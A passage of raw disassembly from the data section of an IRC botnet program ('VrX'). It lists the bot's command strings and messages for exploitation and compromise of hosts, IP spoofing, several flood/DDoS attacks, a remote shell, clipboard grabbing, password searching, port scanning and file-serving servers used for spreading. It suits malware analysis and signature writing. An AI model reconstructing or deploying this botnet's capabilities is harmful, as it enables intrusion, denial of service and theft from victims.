aMix		db 'mix',0              ; DATA XREF: sub_401AC7+3B14o
dword_42B7E8	dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
					; DATA XREF: sub_401AC7+3ABEo
					; sub_401AC7+3AF9o
		dd 0
dword_42B800	dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
					; DATA XREF: sub_401AC7+3A83o
		dd 1
dword_42B818	dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
					; DATA XREF: sub_401AC7+3A48o
					; sub_401AC7+3B66o
aCtcp		db 'ctcp',0             ; DATA XREF: sub_401AC7+39F6o
		align 4
aNoticeSS_0	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401AC7+395Bo
					; sub_401AC7+399Bo ...
		align 4
aNotice_0	db 'notice',0           ; DATA XREF: sub_401AC7+3904o
		align 4
aMsg		db 'msg',0              ; DATA XREF: sub_401AC7+3812o
aChgnick	db 'chgnick',0          ; DATA XREF: sub_401AC7+37CEo
aNick_0		db 'nick',0             ; DATA XREF: sub_401AC7+36CBo
					; sub_401AC7+3CF1o
		align 10h
dword_42B860	dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
					; DATA XREF: sub_401AC7+36B0o
		dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42B888	dd 636364h		; DATA XREF: sub_401AC7+3633o
dword_42B88C	dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401AC7+34E2o
dword_42B898	dd 4B43494Eh, 732520h	; DATA XREF: sub_401AC7+34C7o
					; sub_401AC7+3725o ...
dword_42B8A0	dd 69257325h, 0		; DATA XREF: sub_401AC7+34AFo
					; sub_40AAA0+4Eo ...
aPnick		db 'pnick',0            ; DATA XREF: sub_401AC7+346Fo
		align 10h
aPartSS		db 'part %s %s',0       ; DATA XREF: sub_401AC7+3454o
					; sub_401AC7+3539o ...
		align 4
aPartflood	db 'partflood',0        ; DATA XREF: sub_401AC7+342Do
		align 4
aPartS		db 'part %s',0          ; DATA XREF: sub_401AC7+3412o
aPart_0		db 'part',0             ; DATA XREF: sub_401AC7+33F0o
					; sub_401AC7+3D4Do
		align 4
aJoinS		db 'join %s',0          ; DATA XREF: sub_401AC7+33D5o
					; sub_401AC7+3510o ...
aJoin		db 'join',0             ; DATA XREF: sub_401AC7+33B3o
					; sub_401AC7+3D1Fo
		align 4
aModeSS		db 'mode %s %s',0       ; DATA XREF: sub_401AC7+3398o
		align 4
aMode		db 'mode',0             ; DATA XREF: sub_401AC7+334Co
					; sub_401AC7+4814o
		align 4
aNoticeSS_1	db 'notice %s :%s',0    ; DATA XREF: sub_401AC7+3331o
		align 4
aNt		db 'nt',0               ; DATA XREF: sub_401AC7+32E5o
		align 10h
dword_42B910	dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
					; DATA XREF: sub_401AC7+32CAo
dword_42B924	dd 7463h		; DATA XREF: sub_401AC7+327Eo
dword_42B928	dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401AC7+3263o
					; sub_401AC7+3869o ...
dword_42B938	dd 5Fh			; DATA XREF: sub_401AC7+3237o
					; sub_401AC7+329Eo ...
dword_42B93C	dd 6D70h		; DATA XREF: sub_401AC7+3217o
					; sub_401AC7+47A1o
unk_42B940	db  2Dh	; -		; DATA XREF: sub_401AC7+31E7o
		db 3, 34h, 2
		db  56h	; V
		db 72h,	58h, 20h
		db  46h	; F
		db 6Ch,	2 dup(6Fh)
		db  64h	; d
		db 2, 3, 2Dh
aSClonesLoadedT	db ' %s clones loaded to %s:%s',0
		align 4
aLoad		db 'load',0             ; DATA XREF: sub_401AC7+3193o
		align 4
aFlood		db 'flood',0            ; DATA XREF: sub_401AC7+3172o
		align 4
aRinms		db 'rinms',0            ; DATA XREF: sub_401AC7+315Bo
		align 4
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: sub_401AC7+3144o
aRin		db 'rin',0              ; DATA XREF: sub_401AC7+312Do
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: sub_401AC7+3116o
		align 4
unk_42B9A8	db  2Dh	; -		; DATA XREF: sub_401AC7+3109o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFailedToStartE	db '- Failed to start exploiter thread, error: <%d>.',0
		align 4
unk_42B9E8	db  2Dh	; -		; DATA XREF: sub_401AC7+3097o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aAttemptingToCo	db '- attempting to compromise %s...',0
		align 4
aExploit	db 'exploit',0          ; DATA XREF: sub_401AC7+3019o
unk_42BA20	db  2Dh	; -		; DATA XREF: sub_401AC7+2FF9o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofIpSetToS_	db ' Spoof IP set to ',27h,'%s',27h,'.',0
		align 4
unk_42BA4C	db  2Dh	; -		; DATA XREF: sub_401AC7+2FCFo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSIsAnInvalidIp	db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_		db '%d.%d.%d.*',0       ; DATA XREF: sub_401AC7+2F97o
		align 4
unk_42BA8C	db  2Dh	; -		; DATA XREF: sub_401AC7+2F3Eo
					; sub_401AC7+2FAFo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurren	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 4
aGet		db 'get',0              ; DATA XREF: sub_401AC7:loc_4049E3o
					; sub_401AC7+3F75o
unk_42BAC8	db    3			; DATA XREF: sub_401AC7+2EAAo
a81VrxInvalidLo	db '8,1-VrX- Invalid login slot number: %d.',0
		align 4
unk_42BAF4	db    3			; DATA XREF: sub_401AC7+2E9Fo
a81VrxNoUserLog	db '8,1-VrX- No user logged in at slot: %d.',0
		align 10h
dword_42BB20	dd 312C3803h, 5872562Dh, 7325202Dh, 0 ;	DATA XREF: sub_401AC7+2E4Ao
unk_42BB30	db    3			; DATA XREF: sub_401AC7:loc_404902o
a81VrxPoweredBy	db '8,1-VrX- Powered By VIrUs & zerX! zerX.Virus Rules! (VIrUs@Power-'
		db 'Hackers.com).',0
dword_42BB80	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_401AC7+2E18o
aFailedToSta_16	db '- Failed to start secure thread, error: <%d>.',0
		align 4
dword_42BBBC	dd 234032Dh, 75636573h,	3026572h, 7325202Dh, 73797320h
					; DATA XREF: sub_401AC7+2D9Eo
		dd 2E6D6574h, 0
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_401AC7+2D98o
		align 4
aSecuring	db 'Securing',0         ; DATA XREF: sub_401AC7+2D91o
		align 10h
unk_42BBF0	db  2Dh	; -		; DATA XREF: sub_401AC7+2D1Ao
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToSta_17	db ' Failed to start server thread, error: <%d>.',0
		align 10h
unk_42BC30	db  2Dh	; -		; DATA XREF: sub_401AC7+2C96o
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aServerStartedO	db ' Server started on: %s:%d.',0
		align 4
dword_42BC5C	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401AC7+2C14o
aFailedToSta_18	db '- Failed to start server thread, error: <%d>.',0
		align 4
dword_42BC98	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401AC7+2BA5o
aServerStarte_0	db '- Server started on: %s:%d.',0
dword_42BCC0	dd 234032Dh, 646E6966h,	656C6966h, 2D0302h ; DATA XREF:	sub_401AC7+2AF2o
dword_42BCD0	dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401AC7+2AEDo
dword_42BCDC	dd 234032Dh, 636F7270h,	2D030273h, 0 ; DATA XREF: sub_401AC7+2ADAo
dword_42BCEC	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_401AC7+2AD5o
unk_42BCFC	db    3			; DATA XREF: sub_401AC7+2A62o
a81VrxReconne_1	db '8,1-VrX- Reconnecting.',0
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401AC7:loc_40451Co
					; sub_401AC7:loc_409578o ...
		align 4
unk_42BD2C	db    3			; DATA XREF: sub_401AC7+2A40o
a81VrxDisconnec	db '8,1-VrX- Disconnecting.',0
		align 4
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401AC7:loc_4044FAo
		align 10h
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401AC7:loc_4044E4o
					; sub_401AC7+78DBo
		align 10h
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+2A0Bo
		align 4
unk_42BD7C	db    3			; DATA XREF: sub_401AC7+29BFo
a81VrxStatusRea	db '8,1-VrX- Status: Ready. Bot Uptime: %s.',0
		align 4
unk_42BDA8	db    3			; DATA XREF: sub_401AC7+2981o
a81VrxBotIdS_	db '8,1-VrX- Bot ID: %s.',0
		align 10h
unk_42BDC0	db  2Dh	; -		; DATA XREF: sub_401AC7+296Co
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToSta_19	db '- Failed to start list thread, error: <%d>.',0
		align 4
dword_42BDFC	dd 234032Dh, 65726874h,	2736461h, 4C202D03h, 20747369h
					; DATA XREF: sub_401AC7+28FDo
		dd 65726874h, 2E736461h, 0
dword_42BE1C	dd 627573h		; DATA XREF: sub_401AC7+28D7o
unk_42BE20	db    3			; DATA XREF: sub_401AC7+2885o
a81VrxAliasList	db '8,1-VrX- Alias list.',0
		align 4
unk_42BE38	db  2Dh	; -		; DATA XREF: sub_401AC7+286Ao
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedToSta_20	db '- Failed to start listing thread, error: <%d>.',0
dword_42BE70	dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
					; DATA XREF: sub_401AC7+27DDo
		dd 2E676Fh
unk_42BE88	db    3			; DATA XREF: sub_401AC7+2756o
a81VrxNetworkIn	db '8,1-VrX- Network Info.',0
unk_42BEA0	db    3			; DATA XREF: sub_401AC7+2727o
a81VrxSystemInf	db '8,1-VrX- System Info.',0
		align 4
unk_42BEB8	db    3			; DATA XREF: sub_401AC7+26D2o
a81VrxRemovingB	db '8,1-VrX- Removing Bot.',0
unk_42BED0	db  2Dh	; -		; DATA XREF: sub_401AC7+26B6o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToSta_21	db ' Failed to start listing thread, error: <%d>.',0
		align 4
dword_42BF0C	dd 234032Dh, 636F7270h,	2D030273h, 6F725020h, 73656363h
					; DATA XREF: sub_401AC7+2641o
		dd 696C2073h, 2E7473h
aFull		db 'full',0             ; DATA XREF: sub_401AC7+2621o
		align 10h
unk_42BF30	db  2Dh	; -		; DATA XREF: sub_401AC7+25C2o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aAlreadyRunni_2	db ' Already running.',0
		align 10h
unk_42BF50	db    3			; DATA XREF: sub_401AC7+2571o
a81VrxUptimeS_	db '8,1-VrX- Uptime: %s.',0
		align 4
unk_42BF68	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_403F6Eo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellRea	db '- Remote shell ready.',0
		align 4
unk_42BF88	db  2Dh	; -		; DATA XREF: sub_401AC7+24A0o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldnTOpenRem	db '- Couldn',27h,'t open remote shell.',0
		align 10h
unk_42BFB0	db  2Dh	; -		; DATA XREF: sub_401AC7+2484o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellAlr	db '- Remote shell already running.',0
		align 4
unk_42BFDC	db    3			; DATA XREF: sub_401AC7+246Eo
a81VrxGetClipbo	db '8,1-VrX- Get Clipboard.',0
		align 4
dword_42BFF8	dd 234032Dh, 70696C63h,	72616F62h, 61642064h, 3026174h
					; DATA XREF: sub_401AC7+2440o
		dd 2Dh
unk_42C010	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_403EF7o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushA	db 'Failed to flush ARP cache.',0
		align 4
unk_42C03C	db  2Dh	; -		; DATA XREF: sub_401AC7+2429o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheFlushe	db 'ARP cache flushed.',0
		align 10h
unk_42C060	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_403ECCo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToLoadDn	db 'Failed to load dnsapi.dll.',0
		align 4
unk_42C08C	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_403EC5o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushD	db 'Failed to flush DNS cache.',0
		align 4
unk_42C0B8	db  2Dh	; -		; DATA XREF: sub_401AC7+23F7o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aDnsCacheFlushe	db 'DNS cache flushed.',0
		align 4
unk_42C0DC	db  2Dh	; -		; DATA XREF: sub_401AC7+23A4o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_22	db '- Failed to start server thread, error: <%d>.',0
		align 4
unk_42C118	db  2Dh	; -		; DATA XREF: sub_401AC7+2335o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aServerListenin	db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42C154	db  2Dh	; -		; DATA XREF: sub_401AC7+2252o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_23	db ' Failed to start server thread, error: <%d>.',0
		align 10h
unk_42C190	db  2Dh	; -		; DATA XREF: sub_401AC7+21E7o
					; sub_40BD7C+449o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_0	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42C1CC	db  2Dh	; -		; DATA XREF: sub_401AC7+20E0o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_24	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42C208	db  2Dh	; -		; DATA XREF: sub_401AC7+2071o
					; sub_40BD7C+DAo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_1	db ' Server started on Port: %d, File: %s.',0
		align 4
unk_42C23C	db  2Dh	; -		; DATA XREF: sub_401AC7+1FBFo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aAlreadyRunni_3	db ' Already running.',0
		align 4
unk_42C25C	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_403A70o
		db 3, 34h, 2
		db  4Dh	; M
		db 61h,	2 dup(53h)
		db  20h
		db 53h,	63h, 41h
		db  6Eh	; n
		db 2, 3, 2Dh
aFailedToSta_25	db ' Failed to start scan, port is invalid.',0
unk_42C294	db  2Dh	; -		; DATA XREF: sub_401AC7+1F5Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_26	db '- Failed to start scan thread, error: <%d>.',0
		align 10h
unk_42C2D0	db  2Dh	; -		; DATA XREF: sub_401AC7+1EEBo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aSPortScanStart	db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 4
aSequential	db 'Sequential',0       ; DATA XREF: sub_401AC7+1EC0o
					; sub_401AC7+5B6Ao
		align 4
aRandom		db 'Random',0           ; DATA XREF: sub_401AC7+1EB9o
					; sub_401AC7+5B63o
		align 10h
dword_42C350	dd 234032Dh, 3025A56h	; DATA XREF: sub_401AC7+1CFFo
aAlreadyDScanni	db '- Already %d scanning threads. Too many specified.',0
		align 4
unk_42C38C	db  2Dh	; -		; DATA XREF: sub_401AC7+1CA2o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToSta_27	db 'Failed to start search thread, error: <%d>.',0
unk_42C3C8	db  2Dh	; -		; DATA XREF: sub_401AC7+1C10o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aSearchingForPa	db 'Searching for password.',0
aFp		db 'fp',0               ; DATA XREF: sub_401AC7+1BE2o
		align 4
aFindpass	db 'findpass',0         ; DATA XREF: sub_401AC7+1BD1o
		align 10h
aNoticeSPhoning	db 'NOTICE %s :PHONING HOME: DADI Are You There?! ;).',0Dh,0Ah,0
					; DATA XREF: sub_401AC7+1BBBo
aPhonehome	db 'phonehome',0        ; DATA XREF: sub_401AC7+1BA4o
		align 10h
off_42C440	dd offset word_587A56	; DATA XREF: sub_401AC7+1B8Fo
aAsn445		db 'asn445',0           ; DATA XREF: sub_401AC7+1B7Ao
		align 4
unk_42C44C	db    3			; DATA XREF: sub_401AC7+1B2Ao
a81VrxCrashingB	db '8,1-VrX- Crashing bot.',0
aShitycrash	db 'shitycrash',0       ; DATA XREF: sub_401AC7+1B14o
					; sub_401AC7+1B64o
		align 10h
aTftp		db 'tftp',0             ; DATA XREF: sub_401AC7+1AFFo
		align 4
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_401AC7+1AEAo
		align 4
aHttp		db 'http',0             ; DATA XREF: sub_401AC7+1AD5o
		align 4
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_401AC7+1AC0o
		align 4
aRlogin		db 'rlogin',0           ; DATA XREF: sub_401AC7+1AABo
		align 10h
aRloginserver	db 'rloginserver',0     ; DATA XREF: sub_401AC7+1A96o
		align 10h
aCip		db 'cip',0              ; DATA XREF: sub_401AC7+1A81o
aCurrentip	db 'currentip',0        ; DATA XREF: sub_401AC7+1A6Co
		align 10h
aFdns		db 'fdns',0             ; DATA XREF: sub_401AC7+1A57o
		align 4
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_401AC7+1A42o
		align 4
aFarp		db 'farp',0             ; DATA XREF: sub_401AC7+1A2Do
		align 4
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_401AC7+1A18o
		align 4
aGc		db 'gc',0               ; DATA XREF: sub_401AC7+1A03o
		align 4
aGetclip	db 'getclip',0          ; DATA XREF: sub_401AC7+19EEo
unk_42C4F4	db  2Dh	; -		; DATA XREF: sub_401AC7+19B0o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingDisabl	db ' Spoofing disabled.',0
aOff		db 'off',0              ; DATA XREF: sub_401AC7+1995o
					; sub_401AC7+3C85o ...
aSpoof		db 'spoof',0            ; DATA XREF: sub_401AC7+1981o
		align 4
unk_42C528	db    3			; DATA XREF: sub_401AC7+1961o
a81VrxLoginList	db '8,1-VrX- Login list complete.',0
		align 4
aD_S		db '%d. %s',0           ; DATA XREF: sub_401AC7+192Co
		align 10h
aEmpty		db '<Empty>',0          ; DATA XREF: sub_401AC7:loc_4033E6o
dword_42C558	dd 234032Dh, 69676F6Ch,	696C206Eh, 3027473h, 2Dh
					; DATA XREF: sub_401AC7+18F5o
dword_42C56C	dd 6F6877h		; DATA XREF: sub_401AC7+18D8o
dword_42C570	dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401AC7+18CDo
dword_42C57C	dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ;	DATA XREF: sub_401AC7+18C8o
aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_401AC7+18AFo
aOcmd		db 'ocmd',0             ; DATA XREF: sub_401AC7+189Ao
		align 4
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_401AC7+1885o
aDll		db 'dll',0              ; DATA XREF: sub_401AC7+1870o
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_401AC7+185Bo
		align 4
aDrv		db 'drv',0              ; DATA XREF: sub_401AC7+1846o
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_401AC7+1831o
		align 4
aUp		db 'up',0               ; DATA XREF: sub_401AC7+181Co
		align 4
aUptime		db 'uptime',0           ; DATA XREF: sub_401AC7+1807o
		align 10h
aPs		db 'ps',0               ; DATA XREF: sub_401AC7+17F2o
		align 4
aProcs		db 'procs',0            ; DATA XREF: sub_401AC7+17DDo
		align 4
aKosomak	db 'KOSOMAK',0          ; DATA XREF: sub_401AC7+17C8o
aKosomakyad	db 'KOSOMAKYAD',0       ; DATA XREF: sub_401AC7+17B3o
		align 10h
aSi		db 'si',0               ; DATA XREF: sub_401AC7+179Eo
		align 4
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_401AC7+1789o
aNi		db 'ni',0               ; DATA XREF: sub_401AC7+1774o
		align 10h
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_401AC7+175Fo
aClg		db 'clg',0              ; DATA XREF: sub_401AC7+174Ao
aClearlog	db 'clearlog',0         ; DATA XREF: sub_401AC7+1735o
		align 4
aLg		db 'lg',0               ; DATA XREF: sub_401AC7+1720o
		align 4
aLog		db 'log',0              ; DATA XREF: sub_401AC7+170Bo
aAl		db 'al',0               ; DATA XREF: sub_401AC7+16F6o
		align 4
aAliases	db 'aliases',0          ; DATA XREF: sub_401AC7+16E1o
aT:					; DATA XREF: sub_401AC7+16CCo
					; ___:00438324o
		unicode	0, <t>,0
aThreads	db 'threads',0          ; DATA XREF: sub_401AC7+16B7o
unk_42C638	db    3			; DATA XREF: sub_401AC7+1683o
a81VrxFailedToR	db '8,1-VrX- Failed to reboot system.',0
		align 4
unk_42C65C	db    3			; DATA XREF: sub_401AC7+167Co
a81VrxRebooting	db '8,1-VrX- Rebooting system.',0
aR3start	db 'r3start',0          ; DATA XREF: sub_401AC7+1665o
aI:					; DATA XREF: sub_401AC7+1650o
					; ___:004382F8o
		unicode	0, <i>,0
aId		db 'id',0               ; DATA XREF: sub_401AC7+163Bo
		align 4
aS_0:					; DATA XREF: sub_401AC7+1626o
					; ___:00438374o
		unicode	0, <s>,0
aStatus		db 'status',0           ; DATA XREF: sub_401AC7+1611o
		align 4
aQ:					; DATA XREF: sub_401AC7+15FCo
					; ___:off_437F90o ...
		unicode	0, <q>,0
aQuit_0		db 'quit',0             ; DATA XREF: sub_401AC7+15E7o
		align 10h
aDc		db 'dc',0               ; DATA XREF: sub_401AC7+15D2o
		align 4
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_401AC7+15BDo
		align 10h
aR:					; DATA XREF: sub_401AC7+15A8o
					; sub_401AC7+3D92o ...
		unicode	0, <r>,0
aReconnect	db 'reconnect',0        ; DATA XREF: sub_401AC7+1593o
		align 10h
aExplist	db 'explist',0          ; DATA XREF: sub_401AC7+157Eo
aExploitlist	db 'exploitlist',0      ; DATA XREF: sub_401AC7+1569o
aCbstats	db 'cbstats',0          ; DATA XREF: sub_401AC7+1554o
aConnectbacksta	db 'connectbackstats',0 ; DATA XREF: sub_401AC7+153Fo
		align 10h
aTrstats	db 'trstats',0          ; DATA XREF: sub_401AC7+152Ao
aTransferstats	db 'transferstats',0    ; DATA XREF: sub_401AC7+1515o
		align 4
aStats		db 'stats',0            ; DATA XREF: sub_401AC7+1500o
		align 10h
aScanstats	db 'scanstats',0        ; DATA XREF: sub_401AC7+14EBo
		align 4
dword_42C71C	dd 312C3803h, 4043532Dh, 2D4Eh ; DATA XREF: sub_401AC7+14E0o
aScan_0		db 'Scan',0             ; DATA XREF: sub_401AC7+14DBo
		align 10h
aScanstop	db 'scanstop',0         ; DATA XREF: sub_401AC7+14C2o
		align 4
dword_42C73C	dd 234032Dh, 75636573h,	3026572h, 2Dh ;	DATA XREF: sub_401AC7+14B7o
aSecure_0	db 'Secure',0           ; DATA XREF: sub_401AC7+14B2o
		align 4
aSecurestop	db 'securestop',0       ; DATA XREF: sub_401AC7+1499o
		align 10h
dword_42C760	dd 234032Dh, 6E6F6C63h,	3027365h, 2Dh ;	DATA XREF: sub_401AC7+148Eo
aClone		db 'Clone',0            ; DATA XREF: sub_401AC7+1489o
		align 4
aClonestop	db 'clonestop',0        ; DATA XREF: sub_401AC7+1470o
		align 4
aPsstop		db 'psstop',0           ; DATA XREF: sub_401AC7+145Bo
		align 4
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_401AC7+1446o
		align 4
aFfstop		db 'ffstop',0           ; DATA XREF: sub_401AC7+1431o
		align 10h
aFindfilestop	db 'findfilestop',0     ; DATA XREF: sub_401AC7+141Co
		align 10h
dword_42C7B0	dd 234032Dh, 70746674h,	2D030264h, 0 ; DATA XREF: sub_401AC7+1411o
aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_401AC7+13F3o
		align 4
aPingstop	db 'pingstop',0         ; DATA XREF: sub_401AC7+13CAo
		align 4
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_401AC7+13A1o
aWisdomstop	db 'wisdomstop',0       ; DATA XREF: sub_401AC7+1378o
		align 4
aTsunamistop	db 'tsunamistop',0      ; DATA XREF: sub_401AC7+134Fo
unk_42C7F8	db  2Dh	; -		; DATA XREF: sub_401AC7+1335o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aAllPacketingAc	db 'All packeting activity has been halted.',0
dword_42C82C	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh ;	DATA XREF: sub_401AC7+12FAo
					; sub_401AC7+1396o
dword_42C83C	dd 64736957h, 61206D6Fh, 63617474h, 6Bh	; DATA XREF: sub_401AC7+12F5o
					; sub_401AC7+1391o
dword_42C84C	dd 234032Dh, 6E757374h,	2696D61h, 2D03h	; DATA XREF: sub_401AC7+12DCo
					; sub_401AC7+136Do
dword_42C85C	dd 6E757354h, 20696D61h, 6F6F6C66h, 64h	; DATA XREF: sub_401AC7+12D7o
					; sub_401AC7+1368o
dword_42C86C	dd 234032Dh, 676E6970h,	2D0302h	; DATA XREF: sub_401AC7+127Co
					; sub_401AC7+13E8o
dword_42C878	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401AC7+1277o
					; sub_401AC7+13E3o
dword_42C884	dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401AC7+125Eo
					; sub_401AC7+13BFo
dword_42C890	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401AC7+1259o
					; sub_401AC7+13BAo
aPacketstop	db 'packetstop',0       ; DATA XREF: sub_401AC7+11F9o
		align 4
dword_42C8A8	dd 234032Dh, 6B6E6F77h,	2D0302h	; DATA XREF: sub_401AC7+11EEo
					; sub_401AC7+12BBo
dword_42C8B4	dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401AC7+11E9o
					; sub_401AC7+12B6o
aWonkstop	db 'wonkstop',0         ; DATA XREF: sub_401AC7+11D0o
		align 4
dword_42C8CC	dd 234032Dh, 67726174h,	3023361h, 2Dh ;	DATA XREF: sub_401AC7+11C5o
					; sub_401AC7+129Do
dword_42C8DC	dd 67726154h, 66203361h, 646F6F6Ch, 0 ;	DATA XREF: sub_401AC7+11C0o
					; sub_401AC7+1298o
aTarga3stop	db 'targa3stop',0       ; DATA XREF: sub_401AC7+11A7o
		align 4
dword_42C8F8	dd 234032Dh, 73796B73h,	3026E79h, 2Dh ;	DATA XREF: sub_401AC7+119Co
					; sub_401AC7+131Bo
